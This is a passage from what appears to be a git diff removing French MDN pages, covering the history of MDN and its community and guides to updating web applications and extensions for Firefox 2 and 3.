Dans la suite de cette article, vous pourrez en savoir plus sur les personnes qui ont pris part à cette discussion et qui partagent leurs souvenirs et leurs pensées à propos de MDN. Cela vous permettra de découvrir les personnes qui forment une partie de la communauté de MDN.

-
-
- -
-
Justin Crawford - -

Justin Crawford Product Manager, MDN

- -

Justin anime cette discussion. Il fait des trucs avec du code, des mots, des morceaux de vélos et avec du bois. Sur Twitter, c'est @hoosteeno.

-
- -
-

Qu'est-ce que MDN ? À qui s'adresse-t-il ? Un endroit pour la communauté du Web ouvert

- -

MDN fournit de nombreuses informations sur les technologies web et encourage l'apprentissage, le partage et l'enseignement des notions liées au Web ouvert. Sur MDN, vous pouvez contribuer pour vous-même et pour les autres.

-Un endroit pour les développeurs Mozilla - -

MDN est également un lieu destiné aux ingénieurs de Mozilla (qui travaillent par exemple sur Gecko ou Firefox), aux développeurs de modules complémentaires et aux contributeurs de Firefox OS.

-
- -
Eric Shepherd - -

Eric "Sheppy" Shepherd Écrivain technique, MDN

- -

Sheppy écrit de la documentation pour Mozilla depuis 2006, il connaît une grande partie de l'histoire de MDC / MDN et surtout de nombreuses anecdotes. Sur Twitter, c'est @sheppy.

-
- -
-

L'histoire de MDN L'ère pré-wiki – Netscape DevEdge

- -

Au commencement était DevEdge, la documentation pour développeurs de Netscape. Ce fut la base pour une partie de la documentation de MDN. Vous pouvez vous plonger dans le passé grâce à archive.org :

- -

Netscape DevEdge

- -

Le 12 octobre 2004, ce site, populaire parmi les développeurs, fut fermé par AOL, l'entreprise à l'origine de Netscape. Quelques mois plus tard, en février 2005, Mitchell Baker put secourir DevEdge suite à un accord avec AOL qui permit à Mozilla de publier, modifier et de créer de nouveaux documents à partir du contenu du défunt Netscape DevEdge. Autrement dit, ce qui se produisit pour le code de Mozilla en 1998 s'appliqua également à la documentation Netscape pour les développeurs : elle est devenue open source.

- -

Deb Richardson rejoignit la Fondation Mozilla comme éditeur technique pour diriger le nouveau projet DevMo. Le but de ce projet : organiser de la documentation pour les développeurs grâce à la communauté.

-
- -
-

MediaWiki Le premier moteur wiki

- -

Grâce à MediaWiki qui fut la première plateforme utilisée pour ce nouveau projet, la documentation de Mozilla à destination des développeurs est rendue éditable à partir de juillet 2005. Une nouvelle brique collaborative vient s'ajouter au projet Mozilla et chacun est le bienvenu pour bâtir, améliorer cette ressource et partager ses connaissances. Une nouvelle communauté voit le jour à l'échelle internationale qui traduit le contenu dans d'autres langues.

- -

MDC MediaWiki

-
- -
Florian Scholz - -

Florian Scholz Écrivain technique, MDN

- -

Florian est un écrivain technique, employé à Mozilla et orienté vers les technologies web. Il prend soin de ce wiki comme certains prendraient soin d'un jardin, en cultivant la documentation et en tutorant la communauté avec laquelle il aime travailler afin que la documentation soit accessible au plus grand nombre. Florian est passioné d'open source, il est basé à Brême en Allemagne. Ses tweets sont signés avec l'alias @floscholz.

-
- -
-

DekiWiki Le deuxième moteur wiki

- -

En août 2008, le Mozilla Developer Center passa à MindTouch DekiWiki, un nouveau système de gestion de contenu et un système de wiki pour de la documentation technique. Cette plateforme fut sujette à controverse car la communauté qui utilisait MediaWiki depuis 2005 avait construit de nombreux outils autour de cette plateforme.

- -

MDC DekiWiki

-
- -
Ali Spivak - -

Ali Spivak Gardienne des supers chats de MDN

- -

Ali Spivak gère le contenu et la communauté du Mozilla Developer Network. Elle passe son temps à réfléchir aux moyens de rendre le Web encore plus génial. Elle est passionnée lorsqu'il s'agit de maintenir un Web ouvert et libre. Après avoir versé dans l'open source lorsqu'elle a rejoint Mozilla en 2012, elle se concentre sur la construction et la participation des communautés de développeurs à Mozilla. Sur Twitter, c'est @alispivak.

-
- -
-

Kuma Le troisième (et actuel) moteur wiki

- -

Kuma, qui fut une fourche de Kitsune début 2011, fut lancé le 3 août 2012. C'est une plateforme construite par Mozilla pour gérer un wiki, celle-ci est basée sur Django et utilise son propre système de macro, appelé KumaScript et qui est basé sur Node.js.

- -

Le code étant disponible sur GitHub, la communauté commença également à contribuer au logiciel derrière MDN. Désormais, contribuer et bidouiller sur MDN concerne aussi bien la documentation que le développement sur Kuma.

- -

MDN KUMA

-
- -
David Walsh - -

David Walsh Développeur web, MDN

- -

Développeur web sénior à Mozilla, ingénieur front-end, développeur principal de MooTools, fanatique de JavaScript, bidouilleur PHP et bricoleur CSS, amoureux du Web et de l'open source, David est @davidwalshblog sur Twitter.

-
- -
-

Refondre MDN Kuma, rafraîchi

- -

La refonte de MDN fut un gros projet. Sean Martell créa la nouvelle identité visuelle de MDN. Ce fut un processus itératif auquel prit part un groupe de 3000 beta-testeurs, durant plusieurs mois. Le nouveau style du site était « caché » derrière une option (« Waffle flag », le nom du système qui gère les options activées ou non dans MDN). Un grand bravo à David Walsh qui fut le principal acteur de cette refonte et qui offrit à MDN le style qu'il méritait.

-Waffle flag
- -
Janet Swisher - -

Janet Swisher Community Manager, MDN

- -

Janet est community manager à Mozilla pour MDN. Elle a rejoint Mozilla en 2004 et participe à des projets autour des logiciels open source depuis 2004. Elle travaille sur la communication technique depuis le XXe siècle. Elle vit à Austin au Texas (aux États-Unis) avec son mari et un caniche. Sur Twitter, c'est @jmswisher.

-
- -
-

La communauté autour de la documentation du Web Une documentation construite par la communauté et agnostique pour les différents navigateurs

- -

En 2010, notamment lorsque les membres de la communauté et les écrivains techniques se sont recontrés à Paris, MDN changea de direction : « Documenter tout sur Firefox ! » devint « Documenter tout sur le Web ». C'est pourquoi, ces dernières années, la documentation a été revue, nettoyée et réorganisée pour que la documentation de MDN à propos du Web soit agnostique quant aux navigateurs. De cette façon, MDN est une ressource utile pour n'importe quel développeur web. C'est la partie de MDN consacrée au Web qui est la plus populaire et la plus utilisée.

- -

Les différentes organisations à l'origine des différents navigateurs ont depuis participé au contenu de MDN. Cette collaboration autour des différents navigateurs est très appréciée des lecteurs de MDN.

-
- -
Luke Crouch - -

Luke Crouch développeur web, MDN

- -

Luke Crouch brasse sa propre bière, est fan de football et est développeur web à Mozilla. Il développe sur le Web depuis 1996, utilise Firefox depuis 2004, écrit des logiciels open source depuis 2006 et a rejoint Mozilla comme premier développeur web pour MDN en 2010. Sur Twitter, Luke est @groovecoder.

-
- -
-

Les communautés de localisation MDN sert un public mondial, dans de nombreuses langues

- -

La localisation est une pierre angulaire de la communauté Mozilla. Elle fait partie de presque tous les projets et tous les produits. Grâce à Kuma, MDN est localisable et répond aux besoin de notre communauté l10n. Les spécifications W3C et les autres ressources qui décrivent les fonctionnalités du Web n'ont parfois pas d'autres fins et sont donc uniquement disponibles en anglais. Pour les développeurs avancés mais aussi et surtout pour les débutants, MDN peut permettre d'explorer les technologies du Web. C'est donc notre but que d'être disponible pour tout le monde. MDN possède un public mondial et ne vise pas uniquement les anglophones. Grâce aux efforts de traduction et de localisation, MDN est apprécié tout autour du globe.

-
- -
Julien - -

Julien (alias Sphinx) Localisation en français, MDN

- -

Julien a passé de nombreuses soirées et week-ends, pendant plusieurs mois à traduire et à maintenir les articles sur JavaScript en français. Il n'est pas développeur mais possède des connaissances en informatique et souhaite apprendre ce qui tourne autour des nouvelles technologies. Plutôt que de regarder la télé, il contribue à MDN.

-
- -
an-Yves Perrier - -

Jean-Yves Perrier Écrivain technique, MDN

- -

Jean-Yves est écrivain technique sur MDN depuis 2010, il a rejoint Mozilla à plein temps fin 2011. Il est passioné par le Web et a 15 ans d'expérience en C++. Il est Suisse et vit à Londres au Royaume-Uni. Son indice d'Erdös vaut 5 et sur Twitter, c'est @Teoli2003.

-
- -
-

« Learning Area » ou Apprendre le Web

- -

La Learning Area est un nouveau projet de MDN pour enseigner les compétences de base autour du Web. Ces 10 dernières années, MDN a mis à disposition beaucoup de contenu avancé, permettant aux experts de travailler avec des informations précises. Ce projet est à destination des débutants et vise à combler les manques vis-à-vis de ce public.

-
- -
Jérémie Patonnier - -

Jérémie Patonnier Écrivain technique, MDN

- -

Jérémie est, depuis longtemps, un contributeur à MDN. C'est un développeur web professionnel depuis 2000. Il milite en faveur des standards du Web et écrit de la documentation sur les technologies web avec la volonté qu'elle soit accessible à tout le monde. Sur Twitter, c'est @JeremiePat.

-
- -
-

Le futur de MDN Qu'est-ce qui sera différent lors des 20 ans de MDN ?

- -

Toutes les personnes qui sont impliquées au sein de MDN souhaitent vraiment que le Web soit ouvert et accessible à tous. C'est pour cela que nous avons de nombreux contributeurs et équipes de localisation. MDN espère continuer à jouer un rôle important pour que le Web continue à être ce que nous aimerions qu'il soit.

- -

Une grande partie de cet avenir se jouera sur les ressources d'apprentissage. Ces dix prochaines années, nous verrons de plus en plus de développeurs web.

- -

Une autre partie, toute aussi importante, est de maintenir et de mettre à jour le contenu déjà présent sur MDN. Grâce à cela, les développeurs web pourront toujours bénéficier d'un contenu précis et pertinent.

- -

Ce qui change et qui va probablement continuer à changer, c'est la façon dont l'information est consommée. Aujourd'hui, les personnes recherchent des informations et parcourent la documentation. Demain, MDN pourrait être diffusé via les édidteurs de code, les outils de développement Firefox, via d'autres services et outils, etc.

-
- -
-

Des contributeurs exceptionnels Beaucoup d'autres personnes ont accompli un travail formidable sur MDN

- -
-
    -
  • Les Orchard
    • -
  • John Karahalis
    • -
  • David Walsh
    • -
  • Jannis Leidel
    • -
  • Stephanie Hobson
    • -
  • James Bennett
    • -
  • Isac Lagerblad
    • -
  • Piotrek Koszuliński
    • -
  • Craig Cook
    • -
  • Rob Hudson
    • -
  • John Whitlock
    • -
  • ...
    - Et bien d'autres contributeurs à Kuma.
    • -
- - -
    -
  • Chris Mills
    • -
  • Will Bamberg
    • -
  • David Bruant
    • -
  • Thierry Régagnon
    • -
  • etherthank
    • -
  • Saurabh Nair
    • -
  • Deb Richardson
    • -
  • Sebastian Zartner
    • -
  • Tooru Fujisawa
    • -
  • Karen Scarfone
    • -
  • Niklas Barning
    • -
  • ...
    - Et des centaines de contributeurs au wiki.
    • -
-
-The Berlin Office
- -
 
-
diff --git a/files/fr/mdn_a_dix_ans/index.html b/files/fr/mdn_a_dix_ans/index.html deleted file mode 100644 index e200103a9b..0000000000 --- a/files/fr/mdn_a_dix_ans/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: MDN a 10 ans -slug: MDN_a_dix_ans -tags: - - 10 ans - - MDN -translation_of: MDN_at_ten ---- -
-

Fêtons 10 années passées à documenter votre Web.

-
- -
-

L'histoire de MDN

- -

Début 2005, une petite equipe de développeurs Web ont crée une ressource libre et construite de façon communautaire. Cette idée brillante et décalée par rapport à cette époque est aujourd'hui devenue Mozilla Developer Network — la meilleure ressource pour toutes les technologies ouvertes du Web. Dix ans plus tard, notre communauté est toujours plus grande et présente sur toute la planète. Ensemble, nous continuons à créer de la documentation, des exemples de code et des ressources d'apprentissage pour toutes les technologies du Web telles que CSS, HTML, JavaScript et tout ce qui fait le Web tel qu'il est :c'est à dire ouvert et puissant.

- -

En savoir plusabout the history

- - -

Contribuer à MDN

- -

Depuis 10 ans, la communauté MDN documente le Web. Qu'il s'agisse de corriger quelques coquilles ou d'écrire des articles entiers pour documenter une nouvelle API, chacun a quelque chose à offrir et aucune contribution n'est trop petite ou trop grande. Nous avons plus de 90 000 pages de contenu qui ont été écrites ou traduites par des membres de notre communauté. Vous pouvez en faire partie.

- -

En savoir plusabout contributing

- -

 

- -

 

-
- -
-
-
Quand je souhaite comprendre « pourquoi » plutôt que « comment », j'utilise MDN.
-— Christian Heilmann
-
- - - -
    -
  1. MDN a 10 ans
    2. -
  2. L'histoire de MDN
    3. -
  3. Contribuer à MDN
    4. -
diff --git "a/files/fr/mise_\303\240_jour_des_applications_web_pour_firefox_3/index.html" "b/files/fr/mise_\303\240_jour_des_applications_web_pour_firefox_3/index.html" deleted file mode 100644 index 993a2db147..0000000000 --- "a/files/fr/mise_\303\240_jour_des_applications_web_pour_firefox_3/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Mise à jour des applications Web pour Firefox 3 -slug: Mise_à_jour_des_applications_Web_pour_Firefox_3 -tags: - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3/Updating_web_applications ---- -
{{FirefoxSidebar}}
- -

{{ Fx_minversion_header(3) }} Un certain nombre de changements présents dans Firefox 3 pourraient affecter votre site ou application Web. Vous pourriez en outre tirer parti de plusieurs de ses nouvelles fonctionnalités. Cet article servira de point de départ au fur et à mesure de la mise à jour de votre contenu pour bénéficier au maximum des possibilités de Firefox 3.

- -

Changements dans le DOM

- -

Les nœuds provenant de documents externes doivent être clonés à l'aide de document.importNode() (ou adoptés avec - document.adoptNode()) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes - de Node.ownerDocument, consultez la FAQ DOM du W3C (en anglais).

- -

Gecko n'obligeait pas à utiliser document.importNode() et document.adoptNode() avant sa version 1.9. Depuis les versions 1.9 - alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception - WRONG_DOCUMENT_ERR est déclenchée (NS_ERROR_DOM_WRONG_DOCUMENT_ERR). implémentation dans le bug 47903.

- - -

Changements liés à HTML

- -

Changements dans l'héritage des jeux de caractères

- -

Firefox 3 corrige un bug de sécurité dans les éléments frame et iframe qui leur permettait d'hériter du jeu de caractères de leur parent. Cela pouvait poser des problèmes dans certains cas. À présent, les cadres ne peuvent hériter du jeu de caractère de leur parent que si tant le cadre que le parent sont chargés depuis le même serveur. Si vous avez des pages qui dépendent du fait que les cadres chargés depuis d'autres serveurs hériteront du même jeu de caractères, leurs balisage HTML devra être mis à jour pour indiquer leur jeu de caractères plus précisément.

- -

Changements concernant l'élément SCRIPT

- -

L'élément <script> dans les documents HTML servis en mode text/html doit à présent être obligatoirement accompagné d'une balise fermante </script>, même si aucun contenu n'est fourni entre les deux balises. Dans les versions précédentes de Firefox, il était possible de faire ceci :

- -
<script ... />
-
- -

Le balisage doit à présent respecter les spécifications HTML (si c'est effectivement du HTML), il devient donc obligatoire de placer une balise de fermeture séparément, comme ceci :

- -
<script ...></script>
-
- -

Ce changement améliore tant la compatibilité que la sécurité.

- -

Changements liés à CSS

- -

Changements concernant les tailles de police basées sur les unités em et ex

- -

Les valeurs de taille de police (font-size) utilisant les unités em et ex étaient auparavant affectées selon la taille de police minimale spécifiée par l'utilisateur : si une police était affichée plus grande à cause de la taille de police minimale, les unités em et ex pour les tailles de police étaient adaptées en fonction. Ce comportement était incohérent avec la manière dont les tailles de police en pourcentage fonctionnaient.

- -

Les valeurs de font-size sont à présent basées sur une « taille de police désirée » qui n'est pas affectée par la taille minimale de police de l'utilisateur. Autrement dit, les tailles de police sont toujours calculées selon l'intention du concepteur du site et ne sont ajustées selon la taille de police minimale qu'après coup.

- -

Consultez le {{ Bug(322943) }} pour une démonstration (doit être visionnée avec une taille de police minimale supérieure ou égale à 6 pour voir la différence : les deux cascades de boîtes se comportent différemment dans Firefox 2, car la taille de police basée sur des unités em est décalée par la taille de police minimale).

- -

Changements concernant la sécurité

- -

Accès au chrome

- -

Dans les versions précédentes de Firefox, toute page web pouvait charger des scripts ou des images depuis le chrome à l'aide du protocole chrome://. Cela permettait entre autres à des sites de détecter la présence de certains modules complémentaires — ce qui pourrait être utilisé pour compromettre la sécurité d'un utilisateur en contournant des modules ajoutant des fonctionnalités de sécurité au navigateur.

- -

Firefox 3 ne permet plus au contenu web que d'accéder aux éléments dans les espaces chrome://browser/ et chrome://toolkit/. Ces fichiers sont prévus pour être accessibles au contenu web. Tous les autres contenus chrome y sont par contre à présent inaccessibles.

- -

Une possibilité existe cependant pour les extensions désirant rendre le contenu accessible aux pages web. Ces extensions peuvent spécifier un paramètre spécial dans leur fichier chrome.manifest comme ceci :

- -
content mypackage location/ contentaccessible=yes
-
- -

Cette manipulation ne devrait pas être nécessaire la plupart du temps, mais elle existe toutefois pour les rares cas où elle reste indispensable. Notez qu'il n'est pas exclu que Firefox avertisse l'utilisateur de cette utilisation du paramètre contentaccessible, étant donné qu'il constitue un risque potentiel de sécurité.

- -
Note : Firefox 2 ne gérant pas le paramètre contentaccessible (la ligne le contenant sera entièrement ignorée), si vous voulez que votre module reste compatible avec Firefox 2 et Firefox 3, ajoutez plutôt quelque chose comme ceci : - -
content mypackage location/
-content mypackage location/ contentaccessible=yes
-
-
- -

Champs d'envoi de fichiers (upload)

- -

Dans les versions précédentes de Firefox, un certain nombre de cas existaient où le chemin entier du fichier envoyé par l'utilisateur était lisible par une application web. Pour des raisons de confidentialité, ce n'est plus possible dans Firefox 3 ; à présent seul le nom du fichier lui-même est visible par l'application web.

- -

Changements dans JavaScript

- -

Firefox 3 intègre JavaScript 1.8. Un changement important qui pourrait nécessiter une mise à jour de vos sites ou applications Web est que l'objet obsolète et non standard Script n'est plus géré. Il ne s'agit pas de la balise <script> mais d'un objet JavaScript qui n'avait jamais été standardisé. Il est finalement peu probable que vous l'ayez jamais utilisé, et vous n'aurez sans doute aucun problème.

- -

Voir également

- - - -

 

- -
 
- -

{{ languages( { "en": "en/Updating_web_applications_for_Firefox_3", "es": "es/Actualizar_aplicaciones_web_para_Firefox_3", "ja": "ja/Updating_web_applications_for_Firefox_3", "pl": "pl/Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3" } ) }}

diff --git "a/files/fr/mise_\303\240_jour_des_extensions_pour_firefox_2/index.html" "b/files/fr/mise_\303\240_jour_des_extensions_pour_firefox_2/index.html" deleted file mode 100644 index 2835b6b46a..0000000000 --- "a/files/fr/mise_\303\240_jour_des_extensions_pour_firefox_2/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Mise à jour des extensions pour Firefox 2 -slug: Mise_à_jour_des_extensions_pour_Firefox_2 -translation_of: Mozilla/Firefox/Releases/2/Updating_extensions ---- -
{{FirefoxSidebar}}

 

- -

Cet article s'adresse aux développeurs qui souhaitent mettre à jour leur extension pour qu'elle fonctionne correctement avec Firefox 2.

- -

Étape 1 : Mise à jour du manifeste d'installation

- -

La première étape - pour de nombreuses extensions, la seule nécessaire - est de mettre à jour le fichier du manifeste d'installation, install.rdf, pour annoncer la compatibilité avec Firefox 2.

- -

Trouvez la ligne indiquant la plus récente version de Firefox compatible. Pour Firefox 1.5, elle serait :

- -
 <em:maxVersion>1.5.0.*</em:maxVersion>
-
- -

Et remplacez-la par celle-ci :

- -
 <em:maxVersion>2.0.0.*</em:maxVersion>
-
- -

Réinstallez ensuite votre extension.

- -

Étape 2 : Mise à jour des calques XUL

- -

Firefox 2 apporte des changements au thème par défaut, et certains éléments de l'interface utilisateur ont été modifiés ou déplacés. Cela peut affecter votre extension, selon les actions de vos calques XUL.

- -

Référez-vous à l'article Changements dans les thèmes graphiques pour Firefox 2 pour déterminer les modifications qui pourraient avoir un effet sur votre extension.

- -

Étape 3 : Test

- -

Assurez-vous de tester en profondeur votre extension sous Firefox 2 avant de la publier. Vous ne désirez sûrement pas que votre extension soit la cause d'un déferlement de rapports de bogues avec la toute dernière version de Firefox...

- -

Étape 4 : Publication

- -

Mettez à jour la description de votre extension sur http://addons.mozilla.org, pour vous assurez que les utilisateurs la retrouveront.

- -

De plus, si le manifeste d'installation contient une URL de mise à jour, vérifiez qu'elle est valide pour que Firefox puisse automatiquement trouver les nouvelles versions de votre extension. De cette manière, Firefox proposera de l'installer automatiquement au premier lancement de l'extension après le passage à Firefox 2.

- -


- Lien Interwiki

- -
 
- -

{{ languages( { "en": "en/Updating_extensions_for_Firefox_2", "ja": "ja/Updating_extensions_for_Firefox_2", "ko": "ko/Updating_extensions_for_Firefox_2", "pl": "pl/Aktualizacja_rozszerze\u0144_do_Firefoksa_2" } ) }}

diff --git "a/files/fr/mise_\303\240_jour_des_extensions_pour_firefox_3/index.html" "b/files/fr/mise_\303\240_jour_des_extensions_pour_firefox_3/index.html" deleted file mode 100644 index 9b5be44197..0000000000 --- "a/files/fr/mise_\303\240_jour_des_extensions_pour_firefox_3/index.html" +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Mise à jour des extensions pour Firefox 3 -slug: Mise_à_jour_des_extensions_pour_Firefox_3 -tags: - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3/Updating_extensions ---- -
- -

Cet article fournit des informations qui seront utiles pour les développeurs désirant mettre à jour leurs extensions pour qu'elles fonctionnent correctement avec Firefox 3.

- -

Avant d'aller plus loin, voici une indication utile : si la seule modification dont votre extension a besoin est une mise à jour du champ maxVersion dans son manifeste d'installation, et que celle-ci est hébergée sur addons.mozilla.org, il n'est pas vraiment nécessaire de renvoyer une nouvelle version de votre extension ! Utilisez simplement le Developer Control Panel sur AMO pour ajuster la valeur de maxVersion. Cela vous évitera également la revérification de votre extension.

- -

Première étape : mise à jour du manifeste d'installation

- -

La première étape — et pour la plupart des extensions la seule qui sera nécessaire — est de mettre à jour le fichier de manifeste d'installation, install.rdf, pour indiquer sa compatibilité avec Firefox 3.

- -

Trouvez simplement la ligne indiquant la version maximale compatible de Firefox (qui, pour Firefox 2, ressemblait probablement à ceci) :

- -
 <em:maxVersion>2.0.*</em:maxVersion>
-
- -

Modifiez-la pour indiquer la compatibilité avec Firefox 3 :

- -
 <em:maxVersion>3.0.*</em:maxVersion>
-
- -

Et réinstallez ensuite votre extension.

- -

Notez que Firefox 3 n'a plus besoin d'un « .0 » supplémentaire dans son numéro de version, donc au lieu d'utiliser « 3.0.0.* », il ne faut plus indiquer que « 3.0.* ».

- -
Note : Notez qu'à ce point, il faut s'attendre à d'autres changements dans Firefox 3. Ceux-ci peuvent poser des problèmes à certaines extensions, il faut donc éviter de publier une extension avec la valeur 3.0.0.* pour maxVersion avant que la RC de Firefox 3 soit disponible. Durant la pariode beta de Firefox 3, il convient d'utiliser 3.0b5 comme valeur de maxVersion.
- -

Il y a eu (et il y aura encore) un certain nombre de changements dans les API qui poseront probablement des problèmes à certaines. Nous sommes encore en train d'établir une liste complète de ces changements.

- -
Note : Si votre extension utilise toujours un script Install.js plutôt qu'un manifeste d'installation, il vous faudra faire la transition vers un manifeste d'installation maintenant. Firefox 3 ne gère plus les scripts install.js dans les fichiers XPI.
- -

Ajout de localisations au manifeste d'installation

- -

Firefox 3 permet d'utiliser de nouvelles propriétés dans le manifeste d'installation pour spécifier des descriptions localisées. Les anciennes méthodes continuent à fonctionner, mais la nouvelle permet à Firefox de charger les localisations même lorsque le module complémentaire est désactivé ou sur le point d'être installé. Consultez Localisation des descriptions d'extensions pour plus de détails.

- -

Deuxième étape : s'assurer de fournir des mises à jour sécurisées

- -

Si vous hébergez des modules complémentaires vous-mêmes et pas sur un fournisseur d'hébergement sécurisé comme addons.mozilla.org, vous devrez fournir une méthode sécurisée de mise à jour pour vos modules. Pour ce faire, il faudrait soit héberger vos mises à jour sur un site SSL, ou utiliser des clés cryptographiques pour signer les informations de mise à jour. Consultez Mises à jour sécurisées pour plus d'informations.

- -

Troisième étape : s'occuper des changements d'API

- -

Plusieurs API ont changé de manière significative. Les changements les plus importants, qui affecteront probablement un grand nombre d'extensions, sont les suivants :

- -

DOM

- -

Les nœuds provenant de documents externes doivent être clonés à l'aide de document.importNode() (ou adoptés avec - document.adoptNode()) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes - de Node.ownerDocument, consultez la FAQ DOM du W3C (en anglais).

- -

Gecko n'obligeait pas à utiliser document.importNode() et document.adoptNode() avant sa version 1.9. Depuis les versions 1.9 - alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception - WRONG_DOCUMENT_ERR est déclenchée (NS_ERROR_DOM_WRONG_DOCUMENT_ERR). implémentation dans le bug 47903.

- - -

Marque-pages et historique

- -

Si votre extension accède aux marque-pages ou à des données de l'historique d'une manière ou d'une autre, elle devra être substantiellement modifiée pour être compatible avec Firefox 3. Les anciennes API pour accéder à ces informations ont été remplacées par la nouvelle architecture Places. Consultez le Guide de migration vers Places pour des détails sur la mise à jour de vos extensions existantes en utilisant l'API Places.

- -

Gestionnaire de téléchargement

- -

L'API du gestionnaire de téléchargement a légèrement changé suite à la transition d'un stockage de données RDF vers l'API Storage. La transition devrait être très facile à faire. En outre, l'API permettant d'examiner la progression des téléchargements a été modifiée pour permettre l'existence de plusieurs écouteurs sur le gestionnaire de téléchargement. Consultez nsIDownloadManager, nsIDownloadProgressListener et Surveillance de téléchargements pour plus d'informations.

- -

Gestionnaire de mots de passe

- -

Si votre extension accède à des informations d'identification à l'aide du Gestionnaire de mots de passe, elle devra être adaptée pour utiliser la nouvelle API du gestionnaire d'identification.

- -
    -
  • L'article Utilisation de nsILoginManager fournit des exemples, dont une démonstration d'écriture d'extension fonctionnant à la fois avec le Gestionnaire de mots de passe et le Gestionnaire d'identification, afin qu'elle fonctionne tant avec Firefox que dans les versions précédentes.
    • -
  • nsILoginInfo
    • -
  • nsILoginManager
    • -
- -

Il est également possible de ne pas utiliser le stockage du gestionnaire de mots de passe intégré si vous désirez fournir votre propre implémentation de stockage de mots de passe dans vos extensions. Consultez Création d'un module de stockage du gestionnaire d'identification pour plus de détails.

- -

Popups (menus, menus contextuels, bulles d'information et panneaux)

- -

Le système de popups XUL a été modifié de manière importante dans Firefox 3. Celui-ci gère les menus principaux, les menus contextuels et les panneaux d'information. Un guide d'utilisation des popups a été créé pour expliquer en détail le fonctionnement du système. Une chose à noter est l'obsolescence de popup.showPopup en faveur des nouvelles méthodes popup.openPopup et popup.openPopupAtScreen.

- -

Complément automatique

- -

La méthode handleEnter() de l'interface nsIAutoCompleteController a été modifiée pour accepter un paramètre indiquant si le texte a été sélectionné depuis le popup de complément automatique ou par l'appui sur la touche Entrée par l'utilisateur après avoir saisi le texte.

- -

DOMParser

- -
    -
  • Lorsqu'un objet DOMParser est instancié, il hérite du principal du code appelant et des valeurs documentURI et baseURI de la fenêtre dont le constructeur venait.
    • -
  • Si l'appelant a des privilèges UniversalXPConnect, il peut fournir des paramètres à new DOMParser(). Si moins de trois paramètres sont fournis, les paramètres restants prendront la valeur null par défaut. -
      -
    • Le premier paramètre est le principal à utiliser ; il remplace le principal par défaut normalement hérité.
      • -
    • Le second paramètre est la valeur documentURI à utiliser.
      • -
    • Le troisième paramètre est la valeur baseURI à utiliser.
      • -
    -
    • -
  • Si vous initialisez un DOMParser à l'aide d'un contrat, comme en appelant createInstance(), et que vous n'appelez pas la méthode init() de DOMParser, toute tentative de démarrer une opération d'analyse créera et initialisera automatiquement le DOMParser avec un principal à null et des pointeurs null pour documentURI et baseURI.
    • -
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été retirées de Gecko 1.9, sur lequel se base Firefox 3. Si votre extension utilise l'une ou l'autre d'entre-elles, vous devrez mettre à jour votre code :

- -
    -
  • nsIDOMPaintListener
    • -
  • nsIDOMScrollListener
    • -
  • nsIDOMMutationListener
    • -
  • nsIDOMPageTransitionListener
    • -
  • nsICloseAllWindows (voir le bug 386200)
    • -
- -

Quatrième étape : vérifier les changements chrome appropriés

- -

Un changement mineur dans le chrome pourrait nécessiter des changements dans votre code. Un nouveau vbox a été ajouté, appelé « browser-bottombox », qui comprend la Barre de recherche et la Barre d'état en bas de la fenêtre de navigation. Bien que ceci n'affecte pas l'apparence de l'affichage, votre extension peut être affectée si elle utilise des overlays chrome relatifs à ces éléments.

- -

Par exemple, si vous faisiez précédemment un overlay chrome avant la Barre d'état, comme ceci :

- -
<window id="main-window">
-  <something insertbefore="status-bar" />
-</window>
-
- -

Vous devrez à présent le faire comme ceci :

- -
<vbox id="browser-bottombox">
-  <something insertbefore="status-bar" />
-</vbox>
-
- -

Ou utilisez la technique suivante pour que votre overlay fonctionne tant avec Firefox 2 que Firefox 3 :

- -
<window id="main-window">
-  <vbox id="browser-bottombox" insertbefore="status-bar">
-    <something insertbefore="status-bar" />
-  <vbox>
-</window>
-
- -
Note : Ce changement s'applique à partir de Firefox 3 beta 4 et des nightlies précédentes.
- -

Autres changements

- -

Ajoutez ici les changements simples que vous avez dû faire à vos extensions pour qu'elles fonctionnent avec Firefox 3.

- -
    -
  • chrome://browser/base/utilityOverlay.js n'est plus géré pour des raisons de sécurité. Si vous l'utilisiez auparavant, vous devriez passer à chrome://browser/content/utilityOverlay.js.
    • -
  • Les implémentations de nsIAboutModule doivent à présent supporter la méthode getURIFlags. Consultez nsIAboutModule.idl pour la documentation. Ceci affecte les extensions qui fournissent de nouvelles URI about:. (bug 337746)
    • -
  • L'élément tabbrowser ne fait plus partie du « toolkit » (bug 339964). Cela signifie qu'il n'est plus disponible pour les applications XUL et extensions. Il continue cependant à être utilisé dans la fenêtre principale de Firefox (browser.xul).
    • -
  • Les changements dans les proxys nsISupports et éventuellement aux interfaces liées aux threads doivent être documentés.
    • -
  • Si vous utilisez des instructions de traitement XML comme <?xml-stylesheet ?> dans vos fichiers XUL, tenez compte des changements effectués dans le bug 319654 : -
      -
    1. Les instructions de traitement XML sont à présent ajoutées au DOM des documents XUL. Cela signifie que document.firstChild n'est plus forcément l'élément racine. Si vous avez besoin de l'élément racine dans votre script, utilisez plutôt document.documentElement.
      2. -
    2. Les instructions de traitement <?xml-stylesheet ?> et <?xul-overlay ?> n'ont plus d'effet en dehors du prologue du document.
      3. -
    -
    • -
  • window.addEventListener("load", myFunc, true) n'est pas déclenché au chargement de contenu web (chargement de page dans le navigateur). Ceci est causé par le bug 296639 qui modifie la manière dont les fenêtres internes et externes communiquent. Une correction simple est d'utiliser gBrowser.addEventListener("load", myFunc, true) comme décrit dans les exemples de code et qui fonctionnera dans Firefox 2 également.
    • -
  • content.window.getSelection() fournit un objet (qui peut être converti en une chaîne avec toString()), contrairement à l'ancienne content.document.getSelection(), à présent dépréciée, qui renvoie une chaîne.
    • -
  • event.preventBubble() avait été dépréciée dans Firefox 2 et a été retirée de Firefox 3. Utilisez event.stopPropagation(), qui fonctionne également dans Firefox 2.
    • -
